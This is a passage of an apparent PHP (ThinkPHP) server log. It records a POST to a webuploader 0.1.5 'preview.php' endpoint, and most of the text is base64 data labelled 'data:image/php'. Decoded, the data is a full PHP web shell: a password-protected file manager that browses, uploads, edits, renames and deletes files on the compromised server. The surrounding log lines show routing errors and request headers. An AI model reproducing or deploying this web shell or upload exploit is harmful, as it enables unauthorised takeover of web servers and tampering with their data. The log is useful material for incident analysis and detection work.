JmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:23+08:00 ] 119.42.146.234 POST 59.110.137.245/plugin/webuploader/0.1.5/server/preview.php [运行时间:0.002700s] [吞吐率:370.39req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiA